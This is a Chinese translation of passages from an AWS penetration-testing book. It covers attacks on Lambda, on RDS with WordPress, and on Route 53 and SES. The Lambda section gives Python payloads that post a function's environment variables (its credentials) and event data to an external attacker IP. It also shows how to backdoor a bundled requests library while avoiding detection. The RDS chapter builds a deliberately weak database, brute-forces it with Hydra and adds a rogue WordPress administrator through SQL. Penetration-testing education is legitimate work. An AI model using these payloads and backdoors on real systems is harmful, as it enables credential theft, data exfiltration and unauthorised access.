"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole
}
]
},
"Description": "Allows Lambda functions to call AWS services on your behalf.",
"MaxSessionDuration": 3600
}
我们可以看到,在"AssumeRolePolicyDocument"|"Statement" |"Principal"下指定了一个"Service",它的值是"lambda.amazonaws.com"。这意味着 Lambda AWS 服务可以假定此角色并获取临时凭证。对于一个角色被附加到 Lambda 函数中,Lambda 必须能够承担这个角色。
现在,过滤掉角色列表,使得只剩下可以被 Lambda 承担的角色。同样,我们假定除了ListRoles和PassRole之外,我们没有任何更多的 IAM 权限,因此我们无法调查这些角色具有什么权限,我们最好的办法是尝试推断它们是用来与哪些服务一起工作的,根据它们的名称和描述。运行 IAM ListRoles时出现的一个角色的名称是"LambdaEC2FullAccess",这清楚地说明了我们可以期待它具有的权限。EC2 是更有成效的服务之一,因此我们将针对我们的演示目标此角色。
在之前的章节中,我们看过 IAM PassRole权限,它允许我们将 IAM 角色“传递”给某个 AWS 资源,以便让它访问该角色的临时凭证。其中一个例子是将一个角色传递给 EC2 实例,这允许 EC2 服务访问该角色;我们甚至在本章早些时候将一个角色传递给我们易受攻击的 Lambda 函数。我们拥有对 Lambda 的完全访问权限和传递角色给 Lambda 函数的能力,这意味着我们基本上可以访问 Lambda 能够访问的任何角色。
这可以通过 AWS CLI 和 Lambda CreateFunction API 来完成,但我们将通过 AWS web 控制台来完成。首先,我们需要创建一个新的 Lambda 函数,给它起个名字(此演示中为"Test"),选择一个运行环境(再次选择python3.7),并在角色下拉菜单中选择"Choose an existing role"。然后,我们将从现有角色下拉菜单中选择"LambdaEC2FullAccess",最后,点击"Create function"。
这一次,我们直接访问函数的代码,因此不需要提取或查看此角色的凭据。我们可以使用我们选择的编程语言的 AWS SDK 库,即 Python 的boto3库;它已包含在 Lambda 设置中,因此不需要将其作为函数的依赖项包括进来。现在,唯一剩下的就是决定如何使用我们获得访问权限的角色,根据名称,我们知道它具有"EC2FullAccess"权限,因此我们将导入boto3,创建一个 EC2 客户端,并调用 EC2 的DescribeInstancesAPI。在 Python 中,这只需要几行代码,但我们需要格式化返回的 JSON 响应以便更容易阅读,因此我们还将使用 JSON 库。可以在这里看到:
import json
import boto3
def lambda_handler(event, context):
ec2 = boto3.client('ec2')
reservations = ec2.describe_instances())['Reservations']
print(json.dumps(reservations, indent=2, default=str))
需要注意的是,我们不需要为boto3客户端指定凭据,因为如果我们没有明确传递任何内容,它将自动检查环境变量。这样,它将始终在 Lambda 函数中使用最新的凭据。
要执行该函数,我们需要创建一个测试事件,所以确保你点击橙色的保存按钮,然后直接点击左边的白色测试按钮:
创建我们的测试事件的测试按钮
应该会弹出一个屏幕来设置一个测试事件;我们不关心它如何配置,因为我们实际上并没有使用该事件。它只是通过 Web 控制台运行函数所需的。我们将选择Hello World事件模板(你可以选择任何内容),并将其命名为Test,然后点击屏幕右下角的Create按钮:
为我们的函数创建一个简单的测试事件
现在我们只需再次点击“测试”按钮,它将使用我们刚创建的测试事件来执行我们的函数。我们在us-west-2地区发现了一个单独的 EC2 实例(AWS_REGION环境变量会自动设置为我们 Lambda 函数所在的区域,所以boto3会使用它进行 API 调用)。我们可以在执行结果选项卡中看到这些结果,在函数执行后应该会弹出:
关于 us-west-2 中 EC2 实例的一小部分信息
这次测试成功了,所以很明显我们可以编写任何我们想要的代码,并指示 IAM 角色执行我们想要的操作。也许我们想要启动一堆 EC2 实例,或者我们想要尝试使用这个 EC2 访问权限进行进一步的利用,或者还有许多其他可能性。如果你没有 IAM 的ListRoles权限,你可以查看其他现有的 Lambda 函数来查看它们附加的角色,然后你可以尝试它们来查看你获得了什么样的访问权限。
对于我们的第二个场景,我们假设我们没有 IAM 的PassRole权限,这意味着我们无法创建一个新的 Lambda 函数,因为函数需要传递一个角色。为了利用这种情况,我们需要与现有的 Lambda 函数一起工作。对于这个演示,我们将针对我们在本章前面创建的VulnerableFunction进行目标定位。
在这种情况下,我们需要更加小心,因为我们不是在创建新的 Lambda 函数,而是在修改现有函数。 我们不想干扰环境中正在进行的任何操作,因为首先,作为渗透测试人员,我们尽量要避免这种情况,其次,我们不希望作为攻击者引起比必要更多的注意。 Lambda 函数突然停止工作会引起注意的人们的极大警惕。 我们可以确保这不会发生,方法是确保我们向函数添加的任何代码不会干扰其余的执行,这意味着我们需要捕获并消除我们附加的任何代码引发的任何错误。 另外,由于我们可能不知道函数是否会在其正常执行中早期出错,我们应该尽量将我们的代码放在执行的开始附近,以确保它得到执行。
回到我们之前创建的VulnerableFunction,我们知道附加到它的角色具有 S3 权限,因为函数代码与 S3 交互(而且我们自己设置了角色)。 为了从简单的地方开始,我们只是要列出账户中的 S3 存储桶,以查看我们可以使用哪些。 我们可以通过在VulnerableFunction中添加以下代码来完成此操作,在第 6 行之后(在调用lambda_handler()后,但在运行任何其他代码之前):
try:
s3 = boto3.client('s3')
print(s3.list_buckets())
except:
pass
我们甚至可以像以前一样进一步,导入 JSON 库并格式化输出,但最好尽量对现有函数进行尽可能少的更改。 我们使用try/except块来确保出现的任何错误不会中止函数的执行,并将pass放在 except 块中,我们可以确保错误会被静默地丢弃,然后函数将像往常一样执行。 VulnerableFunction的开头现在应该是这样的:
我们向VulnerableFunction添加了代码后的 VulnerableFunction 开头
这个载荷的唯一问题在于它假定我们可以查看此 Lambda 函数的执行日志,我们可能有或没有权限访问。 我们需要访问 CloudWatch 日志或能够使用测试事件运行函数,以便我们可以在 Web 控制台中查看输出。 现在我们会说我们没有 CloudWatch 访问权限,所以我们将使用测试事件。 下一个问题是,我们可能缺少围绕此 Lambda 函数的整个上下文。 我们不一定知道函数何时被调用是有意义的,函数何时会出错,它被调用的频率如何,如果在其正常触发器之外调用将会产生什么影响,以及许多其他问题。
要解决这个问题,我们可以选择忽略它,并针对函数运行测试事件,而不担心后果(这不是一个好主意,除非你非常确定它不会破坏环境中的任何东西,并且不会吸引防御者的不必要注意),或者我们可以修改我们的有效载荷来外泄凭证,有点像本章的第一节。这可能是最安全的方法,因为我们可以向函数添加我们的恶意有效载荷,在我们的外部服务器上设置监听器,然后只需等待 Lambda 函数被正常调用。为此,我们可以导入subprocess并像以前一样使用curl,但更简单的方法是使用 Python 的requests库。Requests不会自动包含在 Lambda 函数可用的默认库中,但是botocore会,而botocore依赖于requests库,因此我们可以使用一个很酷的技巧来导入和使用requests。我们使用以下import语句而不是import requests:
从 botocore.vendored 导入请求
现在,我们可以正常访问requests库了。因此,按照本章早期所做的类似方法,我们只需将所有环境变量发送到我们的外部服务器即可发送 HTTP POST请求。我们还可以在 Lambda 函数内部运行 AWS API 调用并外泄输出,这在技术上会更安全,因为 API 调用将来自预期的相同 IP 地址,而不是我们的外部攻击 IP;但是,拉取环境变量更加灵活,并且随着时间的推移需要对函数进行的修改较少,因此我们选择了这种方式。以下有效载荷将执行此操作(在这里我们假装1.1.1.1是我们外部服务器的 IP):
try:
import os
from botocore.vendored import requests
requests.post('http://1.1.1.1', json=os.environ.copy(), timeout=0.01)
except:
pass
它使用requests库发送一个 HTTP POST请求,其中包含使用 OS 库获取的环境变量,并且将超时设置为0.01,以便发送请求;代码立即执行,而不是等待任何响应并导致 Lambda 函数本身超时。一旦将此有效载荷添加到目标 Lambda 函数中,我们只需等待函数通过正常手段被调用,最终我们将获得凭证发送到我们的服务器:
接收包含 Lambda 函数所有环境变量的 POST 请求
数据外泄
数据外泄很可能与我们之前提升权限的方式非常相似,即我们很可能编辑现有函数并从中外泄数据。我们可以通过多种不同的方式来实现这一点,其中一些列在这里:
-
修改现有函数并通过
"event"和"context"参数外泄数据 -
创建一个新的函数和相关触发器来响应 AWS 环境中的某些事件,例如在第十一章中,使用 Boto3 和 Pacu 来维持 AWS 持久性,我们每次创建新用户时就将凭据外泄
-
修改现有函数,并将我们的外泄有效负荷放置在函数中间的某个位置,以外泄在函数正常执行期间被收集/修改的数据
这里还有许多其他攻击向量;你只需要有创造力。
如果我们只是想要我们的有效负荷外泄传递到 "event" 参数中的值,我们可以使用前一个有效负荷的略微修改版本:
try:
from botocore.vendored import requests
requests.post('http://1.1.1.1', json=event, timeout=0.01)
except:
pass
确保注意 Lambda 函数的指定超时时间。你不希望你的外泄占用太长时间,以致 Lambda 函数超时并完全失败,因此,当通过 Lambda 外泄大量数据时,最好要么确保超时已经设置为很长的时间,要么自己去修改它以增加超时时间。问题在于,目标的 Lambda 账单会增加,因为它们的函数完成所需时间比正常情况下要长,这将引起注意。
持久性
我们不打算深入探讨持久性,因为我们在上一章已经涵盖了这一点,但是,和攻击 Lambda 的其他方法一样,持久性可以通过新的 Lambda 函数或编辑现有的 Lambda 函数来建立。持久性也可能意味着一些不同的事情。你想要对 Lambda 函数持久访问 bash shell,还是想要对 AWS 环境进行持久访问,或者两者都要?这完全取决于上下文和作为攻击者所处的情况最适用的是什么。甚至可能值得在多个 Lambda 函数中设置后门,以防其中一个被捕捉并被防御者移除。
保持潜伏
这是你可以发挥创造力的地方。显然,向发送数据到随机 IP 地址的函数中添加的随机代码将会引起熟悉该代码并重新审视它的任何人的怀疑。在这种情况下,捕捉到的指标可能甚至没有被捕捉到的提示,但是开发人员碰巧注意到 Lambda 函数中的这段奇怪的代码,并提出了一个问题,然后你被抓住了。如果在整个函数的开头放置恶意代码,那么这将会更明显,因此在代码的某处嵌套你的有效负荷将有所帮助。
将负载放置在入口函数(lambda_handler())中不会改变任何内容,并且几乎不可能被人工审查/发现的地方怎么样?听起来好像太好了,但这不是真的!恶意黑客多年来一直在使用类似的技术,使其软件/硬件后门能够长时间保持活动状态,所以让我们将这种技术应用到 Lambda 中,并保持低调!
这种技术涉及到给 Lambda 函数依赖项设置后门。并非每一个你可能需要的库都包含在 Lambda 的基本库集中,就像我们在直接import requests时看到的那样,所以开发人员被迫自行收集这些依赖项,并将它们与其余的代码一起上传到 Lambda。我们将简要介绍一个简单示例。
假设我们无法通过from botocore.vendored import requests导入requests库,并且我们需要将该库包含在我们的 Lambda 代码中。可以通过将requests库与我们的基本 Lambda 代码一起包含,并将其上传为.zip文件到 Lambda 来解决这个问题。
对于这个示例,我们有一个lambda_function.py文件,导入了requests并向google.com/发出请求,然后打印响应文本。requests库以其全部内容包含在旁边,以允许在以下截图中的第 2 行代码中使用import requests。requests库还需要chardet、urllib3、idna和certify库,因此这些也已被包含进来:
使用已包含请求库的示例 Lambda 函数
这个函数很短,所以在我们的攻击期间直接修改代码将对任何人都很明显,但因为它导入了requests库,而requests库源代码也在那里,所以那将是我们的目标。我们可以看到在第 4 行调用了requests.get()方法。如果我们在requests库的源代码中查找,我们可以找到api.py文件中的requests.get()方法,在此写作时位于第 63 行:
requests.get()方法的源代码
我们已经知道每次 Lambda 函数运行时都会调用这个方法,所以我们只需要直接修改它,而不是修改调用它的文件(lambda_function.py)。这次我们的负载需要有所不同,因为整个requests库并未直接导入到requests库的每个文件中,所以我们必须使用"request"方法,而不是requests.post()。我们的负载将如下所示:
try:
data = {'url': url, 'params': params, **kwargs}
requests('POST', 'http://1.1.1.1', json=data, timeout=0.01)
except:
pass
这个 payload 基本上只是在完成原始请求之前窃取到发送到我们自己服务器的每个请求的所有细节。我们可能能够截获一些敏感数据以利用我们自己的利益。我们可以将恶意的窃取 payload 直接放在get方法中,如下面的截图所示:
我们的 payload 放置在 requests.get() 方法中
即使看起来有点奇怪,很少有开发人员会想要审查他们包含的库的源代码,即使他们这样做了,他们也没有编写该库,因此它们可能不会被他们认为是奇怪的。现在,每当这个 Lambda 函数被调用时,requests.get() 方法将被调用,这意味着我们的 payload 将被执行,我们将窃取一些数据:
从 Python 依赖中成功窃取
我们现在已经成功地从一个 Lambda 函数中窃取了信息,而不需要修改主函数的任何实际代码。这种攻击可以深入多个层次。如果主 Lambda 函数需要库 X,而库 X 中的方法需要库 Y,那么你可以一直倒退到库 Y。没有限制,只要你的方法以某种方式被调用。
在真实的攻击场景中,你所需要做的就是像我们之前做的那样将 Lambda 函数导出为一个 .zip 文件,进行修改,然后将其重新上传为该函数的最新版本。即使防御者看到函数被修改了,他们仍然可能永远找不到你实施的后门。
进入虚拟专用云
我们已经涵盖了许多关于攻击 Lambda 函数的内容,但在本节中,我们将讨论从访问 Lambda 函数到访问虚拟专用云(VPC)内部网络的转变。这是可能的,因为 Lambda 函数可以出于各种原因启动到 VPC 中。这为我们攻击者提供了具有与 Lambda 访问权限的能力来与我们可能无法获得访问权限的内部主机和服务进行交互的能力。
再次,我们可以从两个不同的角度来解决这个问题。如果我们有所需的权限,我们可以将一个新的 Lambda 函数启动到我们选择的 VPC 中,或者我们可以修改已经启动到 VPC 中的 Lambda 函数的代码。我们将运行一个演示,在其中我们将编辑一个已经启动到 VPC 中的函数。
对于这个演示,如果我们查看 Lambda Web UI 中的网络选项卡,我们可以看到这个函数已经启动到默认的 VPC 中,它在两个子网中,并且它在安全组 sg-0e9c3b71 中。我们还可以看到安全组允许从某个 IP 地址对端口 80 进行入站访问,并允许从同一安全组内的服务器访问所有端口:
我们目标 Lambda 函数的网络设置
然后,我们将运行 EC2 DescribeInstances API 调用,以找出在这个 VPC 中存在哪些其他服务器。我们可以用以下 AWS CLI 命令来做到这一点:
aws ec2 describe-instances
或者,我们可以使用"ec2__enum" Pacu 模块。结果告诉我们有一个 EC2 实例,并且它与我们的 Lambda 函数属于相同的安全组:
与我们的 Lambda 函数属于相同安全组的一个 EC2 实例
基于我们在这个安全组的入站规则中看到的内容,我们知道我们的 Lambda 函数可以访问那个 EC2 实例上的每个端口。我们还知道,很可能有一些东西在80端口上被托管,因为相同的安全组将对端口80的访问权限白名单到了不同的 IP 地址。作为一个拥有少量 EC2 权限的攻击者,通常很难进入 VPC 的内部,但 Lambda 函数却让我们规避了这一点。我们只需要修改 Lambda 函数中的代码来在 VPC 的网络内部实现我们想要的功能。
我们将忽略目标 Lambda 函数中的任何代码,只专注于我们的负载,以访问内部网络。我们知道我们想要联系内部主机的80端口,这很可能意味着有一个运行的 HTTP 服务器,所以我们可以再次使用requests库向其发出请求。我们仍然不想中断任何生产代码,所以一切都将被包装在try/except块中,就像之前一样。刚才一分钟前的 EC2 DescribeInstances调用给我们了目标 EC2 实例的内部 IP 地址,是172.31.32.192。我们的负载将看起来像这样:
try:
from botocore.vendored import requests
req = requests.get('http://172.31.32.192/')
print(req.text)
except:
pass
为了简单起见,我们将只将输出打印到控制台并在那里查看,但这是另一种可能需要某种外泄的情况。但是,请确保您的 Lambda 函数具有 Internet 访问权限,因为当它们被启动到 VPC 中时,它们会失去默认的 Internet 访问权限,并依赖于 VPC 来提供该访问权限。
在运行有效负载以尝试向该内部 IP 发出 HTTP 请求后,我们在 Lambda 控制台中看到了以下内容:
我们联系了内部服务器并收到了回应
就这样,我们可以看到,我们已经访问了内部网络,以绕过网络限制,并访问了我们正在攻击的公司的某种内部人力资源门户。在底部,我们甚至可以看到一张包含一些私人员工信息的表,例如他们的薪水。
这样就可以轻松地访问 AWS 网络的内部侧。这种方法可以用于各种不同的攻击,例如访问不公开可访问的 RDS 数据库,因为我们可以将 Lambda 函数启动到其所在的 VPC /子网中并与其进行连接。各种 AWS 服务都有将资源启动到私有 VPC 以禁用对其的公共访问的选项,而这种进入 VPC 内部的方法使我们能够访问所有这些不同的服务;其他一些示例包括ElastiCache数据库,EKS 集群等。
摘要
AWS Lambda 是一项非常多才多艺且有用的服务,既适用于 AWS 用户,也适用于攻击者。作为攻击者,我们可以利用 Lambda 的许多可能性,其中最好的一点是,我们的目标甚至不一定需要自己使用 Lambda,也可以使我们受益。
由于 Lambda 有许多不同的用例,它总是我们要检查的更高优先级服务之一,因为它通常会产生非常有益的攻击路径,使我们能够进一步访问 AWS 环境。还要记住的一件事是,与许多服务(包括 Lambda)一样,它们不断发展,打开和关闭不同的攻击路径,我们可以利用;保持最新和知识渊博非常重要,因为我们正在攻击的帐户将利用这些变化。
第十三章:渗透测试和保护 AWS RDS
AWS 关系数据库服务(RDS)通常托管与特定应用程序相关的最关键和敏感的数据。因此,有必要专注于识别暴露的 AWS RDS 实例以枚举访问,以及随后存储在数据库实例中的数据。本章重点介绍了在安全和不安全的方式下设置示例 RDS 实例并将其连接到 WordPress 实例的过程。除此之外,我们还将专注于获取对暴露数据库的访问权限,以及从该数据库中识别和提取敏感数据。
在本章中,我们将涵盖以下主题:
-
设置 RDS 实例并将其连接到 EC2 实例
-
使用 Nmap 识别和枚举暴露的 RDS 实例
-
从易受攻击的 RDS 实例中利用和提取数据
技术要求
本章将使用以下工具:
-
WordPress
-
Nmap
-
Hydra
设置一个易受攻击的 RDS 实例
我们将首先创建一个简单的 RDS 实例,然后将其连接到 EC2 机器:
- 在服务菜单中,转到 Amazon RDS:
- 点击“创建数据库”。对于本教程,我们将使用 MySQL;选择 MySQL,并点击“下一步”:
- 由于这只是一个教程,我们将使用 Dev/Test – MySQL 选项。这是一个免费的层,因此不会收费。选择 Dev/Test – MySQL 并继续点击“下一步”:
- 在下一页上,点击“仅启用符合 RDS 免费使用层条件的选项”。然后在 DB 实例类中选择 db.t2.micro 实例:
- 填写以下截图中显示的细节,如 DB 名称、主用户名和主密码。对于本教程,我们将设置数据库易受暴力攻击;我们将其命名为
vulndb,并将用户名和密码设置为admin和password:
- 在下一页上,将公开访问设置为“是”;其他一切保持不变。最后,点击“创建数据库”。
您的 DB 实例将很快创建。默认情况下,DB 实例将不对任何公共 IP 地址可访问。要更改此设置,请打开 RDS 实例的安全组,并允许从任何地方的端口3306上的传入连接。
- 现在,我们将为我们的 WordPress 网站创建一个数据库。从终端连接到 RDS 实例:
mysql -h <<RDS Instance name>> -P 3306 -u admin -p
- 在 MySQL shell 中,键入以下命令以创建新数据库:
CREATE DATABASE newblog;
GRANT ALL PRIVILEGES ON newblog.* TO 'admin'@'localhost' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
EXIT;
我们的数据库现在已经设置好了。在下一节中,我们将看看如何将我们新创建的数据库连接到 EC2 实例。
将 RDS 实例连接到 EC2 上的 WordPress
一旦我们的 RDS 实例创建完成,我们将在 EC2 实例上设置 WordPress。
对于本教程,我们将使用 Ubuntu 16.04 实例。继续,启动 Ubuntu EC2 实例。在入站规则设置中,确保允许流量到端口80和443(HTTP 和 HTTPS):
-
SSH 进入 Ubuntu 实例。我们现在将设置实例以能够托管 WordPress 网站。在继续之前,运行
apt update和apt upgrade。 -
在您的 EC2 机器上安装 Apache 服务器:
sudo apt-get install apache2 apache2-utils
- 要启动 Apache 服务,可以运行以下命令:
sudo systemctl start apache2
要查看实例是否工作,可以访问http://<<EC2 IP 地址>>,您应该会看到 Apache 的默认页面。
- 现在,我们将安装 PHP 和一些模块,以便它与 Web 和数据库服务器一起工作,使用以下命令:
sudo apt-get install php7.0 php7.0-mysql libapache2-mod-php7.0 php7.0-cli php7.0-cgi php7.0-gd
- 要测试 PHP 是否与 Web 服务器一起工作,我们需要在
/var/www/html中创建info.php文件:
sudo nano /var/www/html/info.php
- 将以下代码复制并粘贴到文件中,保存并退出:
<?php phpinfo(); ?>
完成后,打开您的 Web 浏览器,输入此地址:http://<<EC2 IP 地址>>/info.php。您应该能够查看以下 PHP 信息页面作为确认:
- 接下来,我们将在我们的 EC2 机器上下载最新的 WordPress 网站:
wget -c http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz
- 我们需要将从提取的文件夹中的所有 WordPress 文件移动到 Apache 默认目录:
sudo rsync -av wordpress/* /var/www/html/
- 接下来,我们需要配置网站目录的权限,并将 WordPress 文件的所有权分配给 Web 服务器:
sudo chown -R www-data:www-data /var/www/html/
sudo chmod -R 755 /var/www/html/
现在我们将连接我们的 WordPress 网站到我们的 RDS 实例。
- 转到
/var/www/html/文件夹,并将wp-config-sample.php重命名为wp-config.php如下:
sudo mv wp-config-sample.php wp-config.php
- 接下来,使用 RDS 实例的详细信息更新“MySQL 设置”部分。在上一节中,我们将数据库命名为
newblog;因此,我们将在这里使用相同的名称:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', <<database_name_here>>); /** MySQL database username */ define('DB_USER', <<username_here>>); /** MySQL database password */ define('DB_PASSWORD', <<password_here>>); /** MySQL hostname */ define('DB_HOST', <<RDS IP Address>>); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', '');
- 保存文件,然后重新启动 Apache 服务器:
sudo systemctl restart apache2.service
- 打开您的 Web 浏览器,然后输入
http://<<EC2 IP 地址>>/index.php服务器地址以获取欢迎页面:
-
选择您喜欢的语言,然后点击继续。最后,点击“让我们开始”!
-
填写所有请求的信息,然后设置您的用户名和密码。最后,点击安装 WordPress。
-
完成后,您可以使用用户名和密码登录 WordPress 安装:
我们的 WordPress 目标已经设定好。但是,我们将 RDS 实例留给整个互联网访问。这是一个易受攻击的配置。
在下一节中,我们将看到如何发现这样的易受攻击的 RDS 实例。
使用 Nmap 识别和枚举暴露的 RDS 实例
还记得我们将 RDS 实例设置为公开访问吗?现在是时候识别这些公共 RDS 实例并利用它们了。
在这种情况下,我们已经知道了我们的 RDS 实例的主机名,这使得对我们来说稍微容易一些。我们将从在我们的实例上运行nmap扫描开始,以确定哪些端口是打开的:
- SSH 进入您的 Kali 机器,并发出以下命令:
sudo nmap -sS -v -Pn <<RDS Instance>>
我们可以看到端口3306是打开的,并且正在监听任何传入的连接:
- 让我们找出端口
3306上运行的服务:
sudo nmap -sS -A -vv -Pn -sV -p 3306 <<RDS Instance>>
- 所以,这是一个 MySQL 服务。让我们使用Nmap 脚本 引擎(NSE)脚本找出有关 MySQL 服务的更多信息:
sudo nmap -sS -A -vv -Pn -sV -p 3306 --script=mysql-info,mysql-enum <<RDS Instance>>
- 出现了相当多的信息,特别是一组有效的用户名,比如
admin。这在我们的下一节中将至关重要:
我们已经确定了我们的目标并找到了一些信息,比如哪些端口是打开的,正在运行什么服务以及正在运行什么数据库服务器。此外,我们还找到了一组有效用户名的关键数据。在下一节中,我们将看到可以使用这些数据执行哪些攻击。
从易受攻击的 RDS 实例中利用和提取数据
我们现在发现了一个 RDS 实例,其 MySQL 服务正在公开监听。我们还确定了一组有效的用户名。
我们的下一步是对我们的admin用户进行暴力破解登录和有效密码。
在这个练习中,我们将使用 Hydra 来暴力破解 MySQL 服务并找到密码:
- 在您的 Kali 实例上,下载用于暴力破解攻击的单词列表字典;我发现
rockyou.txt是足够的。然后,发出以下命令:
hydra -l admin -P rockyou.txt <RDS IP Address> mysql
- Hydra 将使用提供的单词列表对服务进行暴力破解,并为您提供有效的密码:
一旦我们有了有效的凭据,就该连接到 MySQL 服务并为 WordPress 创建一个新用户。
为了破坏 WordPress 安装,我们将为 WordPress 创建一个新的管理员用户,然后使用这些凭据登录:
- 再次从您的 Kali 机器连接到 MySQL 服务,使用我们发现的密码:
mysql -h <<RDS Instance name>> -P 3306 -u admin -p
为了添加一个新用户,我们将不得不在数据库的wp_users表中添加一行。
- 首先,将数据库更改为 WordPress 正在使用的数据库:
use newblog;
- 现在按照以下方式列出表格:
show tables;
我们可以看到wp_users表;现在是时候向其中添加一行新数据了。
- 对于本教程,我们正在创建一个名为
newadmin的用户,密码为pass123。发出以下命令:
INSERT INTO `wp_users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_status`)
VALUES ('newadmin', MD5('pass123'), 'firstname lastname', 'email@example.com', '0');
INSERT INTO `wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`)
VALUES (NULL, (Select max(id) FROM wp_users), 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`)
VALUES (NULL, (Select max(id) FROM wp_users), 'wp_user_level', '10');
- 现在访问
http://<<EC2 IP 地址>>/wp-login.php登录页面。输入新的凭据,您将以新的管理员身份登录。
总结
在本章中,我们学习了 RDS 实例是什么,以及如何创建 RDS 实例。然后我们在 EC2 机器上设置了一个 WordPress 网站,然后配置它使用 RDS 实例作为数据库服务器。我们看到了 RDS 实例如何变得容易受攻击。此外,我们使用 Nmap 和 Hydra 来识别和利用易受攻击的 RDS 实例。最后,我们学习了如何篡改 RDS 实例的数据以创建一个新的 WordPress 用户。
在下一章中,我们将学习如何对其他各种 AWS API 进行渗透测试。
进一步阅读
-
使用 ncrack、hydra 和 medusa 进行暴力破解密码:
hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/ -
在 Amazon RDS 中配置安全性:
docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.html -
加密 Amazon RDS 资源:
docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.Encryption.html
第十四章:针对其他服务
AWS 提供了各种各样的服务,并且不断更新这些服务,同时发布新的服务。这本书不可能覆盖所有这些服务,但本章旨在介绍一些不太主流的服务以及它们如何被滥用以使我们作为攻击者受益。
需要注意的是,每个 AWS 服务都有可能存在某种利用方式,当将其视为攻击者时,这本书没有涵盖的服务并不意味着您不应该调查它。每项服务都可能出现各种安全问题,因此最好的做法是查看服务并确定它在现实世界中的使用方式,然后寻找常见的错误、不安全的默认设置或者只是为了使自己受益而遵循的不良实践。
本章将介绍的四种不同服务包括 Route 53,一个可扩展的 DNS/域管理服务;简单邮件服务(SES),一个托管的电子邮件服务;CloudFormation,一个基础设施即代码服务;以及弹性容器注册表(ECR),一个托管的 Docker 容器注册表。
在本章中,我们将涵盖以下主题:
-
Route 53
-
SES
-
CloudFormation
-
ECR
Route 53
Route 53 是一个很好的服务,有几个不同的原因值得花时间研究。主要原因是侦察,因为它允许我们关联 IP 和主机名,并发现域和子域,这就是我们要在这里介绍的内容。它也是一项非常有成效的服务,用于一些更恶意的攻击,我们不会深入讨论,因为它们对于我们作为渗透测试人员来说没有用处,但我们会在最后介绍它们,以让您意识到一旦获得访问权限,真正的恶意黑客可能会尝试做些什么。
托管区域
我们首先要做的是获取 Route 53 中托管区域的列表。我们可以使用以下 AWS CLI 命令收集这些信息(我们可以在 Route 53 中省略--region参数):
aws route53 list-hosted-zones
输出应该看起来像这样:
{
"HostedZones": [
{
"Id": "/hostedzone/A22EWJRXPPQ21T",
"Name": "test.com.",
"CallerReference": "1Y89122F-2364-8G1E-P925-2B8OO1338Z31",
"Config": {
"Comment": "An example Hosted Zone",
"PrivateZone": false
},
"ResourceRecordSetCount": 5
}
]
}
因此,我们发现了一个公共托管区域(我们可以看到"PrivateZone"设置为false),并且在其中创建了五个记录集(因为"ResourceRecordSetCount"为5)。接下来,我们可以使用ListResourceRecordSets命令来查看为"test.com"托管区域设置了哪些记录:
aws route53 list-resource-record-sets --hosted-zone-id A22EWJRXPPQ21T
响应可能会相当长,取决于有多少记录集。它应该包括一个"ResourceRecordSets"列表,其中包括名称、类型、生存时间(TTL)和资源记录列表。这些记录可以是任何类型的 DNS 记录,例如 A 记录、规范名称(CNAME)记录和邮件交换器(MX)记录。这些记录集列表可以与来自 EC2 之类的已知 IP 地址进行比较,以便您可以发现与您可以访问的某些服务器相关的主机名,甚至发现未知的 IP、域和子域。
这很有用,因为许多 Web 服务器在直接访问服务器的 IP 地址时无法正确加载,因为它需要主机名,我们可以使用 Route 53 来找出并正确解析。
这在查看 Route 53 中的私有托管区域时也很有用,可以帮助您发现内部网络中可用的主机和 IP,一旦获得访问权限。
Route 53 中可能发生许多恶意攻击,因此重要的是对这项服务的访问进行严格限制。这些类型的攻击可能不会在渗透测试中使用,但对于你和你的客户的安全来说,了解这些攻击是很重要的。最简单的攻击可能就是改变与 A 记录相关的 IP 地址,这样任何访问该域的用户(例如test.com)都会被重定向到你自己的攻击者 IP 地址,然后你可以尝试网络钓鱼或其他各种攻击。相同的攻击也可以适用于 CNAME 记录,只需将你目标的子域指向你自己的攻击者托管的网站。当你控制一个网站的 DNS 记录时,可能有无穷无尽的可能性,但要小心不要搞砸并对你正在测试的 AWS 环境造成严重问题。
域名
Route 53 支持注册各种顶级域的新域名。作为攻击者,你理论上可以使用目标 AWS 账户注册一个新域名,然后将该域名转移到另一个提供商进行管理,在那里你可以为任何你想要的东西创建一个一次性网站。这可能永远不会在渗透测试期间执行,只会用于恶意目的。
解析器
Route 53 DNS 解析器可用于在使用中的不同网络和 VPC 之间路由 DNS 查询。作为攻击者,这可能为我们提供有关未在 AWS 中托管的其他网络或可能在 VPC 内的服务的见解,但通常对这些服务的实际攻击只会用于恶意目的,而不是我们作为渗透测试人员所希望的。
简单电子邮件服务(SES)
SES 是一个小巧但实用的服务,允许管理从你拥有的域和电子邮件账户发送和接收电子邮件,但作为拥有 SES 访问权限的攻击者,我们可以利用这项服务进行信息收集和社会工程。根据你受损用户对 SES 的访问权限以及已注册的不同验证域/电子邮件账户的相关设置,它可以允许对我们目标公司的员工和客户进行一些严重的网络钓鱼和社会工程。
网络钓鱼
我们将假设我们受损的账户对 SES 拥有完全访问权限,以便我们可以进行所有攻击,但根据你在现实场景中发现的访问权限的类型,可能需要进行调整。我们首先要做的是查找已验证的域和/或电子邮件地址。这些可能被隔离到单个区域或在几个不同的区域之间分开,因此在运行这些 API 调用时检查每个区域是很重要的。我们可以通过运行以下 AWS CLI 命令来发现这些已验证的域/电子邮件地址,以获取us-west-2区域的信息:
aws ses list-identities --region us-west-2
输出将包含已添加到该区域的域和电子邮件地址,无论它们的状态如何。域/电子邮件地址的状态表示它是否已验证、待验证、验证失败等等,域/电子邮件地址必须在可以与 SES 提供的其他功能一起使用之前进行验证。这是为了确认设置它的人拥有他们正在注册的东西。该命令的输出应该类似于以下内容:
{
"Identities": [
"test.com",
"admin@example.com"
]
}
